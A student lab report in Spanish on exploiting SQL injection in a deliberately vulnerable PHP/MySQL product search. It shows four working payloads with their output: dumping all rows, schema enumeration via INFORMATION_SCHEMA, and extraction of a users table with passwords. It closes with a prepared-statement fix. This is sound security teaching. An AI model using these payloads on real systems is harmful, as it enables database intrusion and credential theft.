

Puesta en producción segura

27 de noviembre de 2023

Práctica 2.3: Obtención de datos

Jose Almirón Lopez

Comenzamos con un código vulnerable a inyecciones SQL, en el cual realizaremos pruebas utilizando diversas técnicas de inyección para analizar y comprender cómo se pueden explotar estas vulnerabilidades.

Iniciaremos con la primera inyección, mediante la cual, con una única consulta, obtendremos todos los datos de todos los productos. La consulta que emplearemos para lograr esto será **“999' OR '1' = '1' #”**.

Artículo:

Artículo	Precio
Manguera	4
Escalera	20
Martillo	5
Destornillador	2

En la siguiente inyección, mostramos un mensaje 'Hola mundo' utilizando una inyección SQL. En este caso, la consulta que emplearemos será:

“999' UNION SELECT NULL, NULL, 'Hola mundo' FROM dual #”

Artículo:

Artículo	Precio
Hola mundo	

Ahora, en la próxima inyección, obtendremos el nombre de todas las bases de datos, sus tablas y campos de tu MySQL. Para lograr esto, ejecutaremos la siguiente inyección: **“999' UNION SELECT NULL, table_schema, CONCAT(table_name, ' ', column_name) AS table_name_column_name FROM INFORMATION_SCHEMA.COLUMNS #”**.

Artículo:

Artículo	Precio
information_schema	ALL_PLUGINS PLUGIN_NAME
information_schema	ALL_PLUGINS PLUGIN_VERSION
information_schema	ALL_PLUGINS PLUGIN_STATUS
information_schema	ALL_PLUGINS PLUGIN_TYPE
information_schema	ALL_PLUGINS PLUGIN_TYPE_VERSION
information_schema	ALL_PLUGINS PLUGIN_LIBRARY
information_schema	ALL_PLUGINS PLUGIN_LIBRARY_VERSION
information_schema	ALL_PLUGINS PLUGIN_AUTHOR
information_schema	ALL_PLUGINS PLUGIN_DESCRIPTION
information_schema	ALL_PLUGINS PLUGIN_LICENSE
information_schema	ALL_PLUGINS LOAD_OPTION
information_schema	ALL_PLUGINS PLUGIN_MATURITY
information_schema	ALL_PLUGINS PLUGIN_AUTH_VERSION
information_schema	APPLICABLE_ROLES GRANTEE
information_schema	APPLICABLE_ROLES ROLE_NAME
information_schema	APPLICABLE_ROLES IS_GRANTABLE
information_schema	APPLICABLE_ROLES IS_DEFAULT
information_schema	CHARACTER_SETS CHARACTER_SET_NAME
information_schema	CHARACTER_SETS DEFAULT_COLLATE_NAME
information_schema	CHARACTER_SETS DESCRIPTION
information_schema	CHARACTER_SETS MAXLEN
information_schema	CHECK_CONSTRAINTS CONSTRAINT_CATALOG
information_schema	CHECK_CONSTRAINTS CONSTRAINT_SCHEMA
information_schema	CHECK_CONSTRAINTS TABLE_NAME
information_schema	CHECK_CONSTRAINTS CONSTRAINT_NAME

Finalmente, la última inyección que probaremos consistirá en mostrar todos los datos de la tabla de usuarios. Para lograr esto, ejecutaremos la siguiente inyección: **"999' UNION SELECT * FROM demos.usuarios #"**.

Artículo:

Artículo Precio

user1	pass1
user2	pass2
user3	pass3
user4	pass4
user5	ab

El siguiente código PHP ha sido modificado para garantizar la seguridad al realizar consultas a una base de datos MySQL. Se han implementado consultas preparadas con el objetivo de prevenir posibles vulnerabilidades de inyección SQL, una práctica común para mejorar la seguridad en el manejo de bases de datos.

```
17 // Utilizar consultas preparadas para evitar inyecciones SQL
18 $queEmp = "SELECT * FROM demos.articulos WHERE Nombre = ?";
19 $stmt = mysqli_prepare($conexion, $queEmp);
20 mysqli_stmt_bind_param($stmt, "s", $_GET["articulo"]);
21 mysqli_stmt_execute($stmt);
22 $resEmp = mysqli_stmt_get_result($stmt);
23
24 $totEmp = mysqli_num_rows($resEmp);
25
```

De esta manera, el código ahora se encuentra protegido contra posibles inyecciones SQL

Artículo:

Artículo no encontrado. :(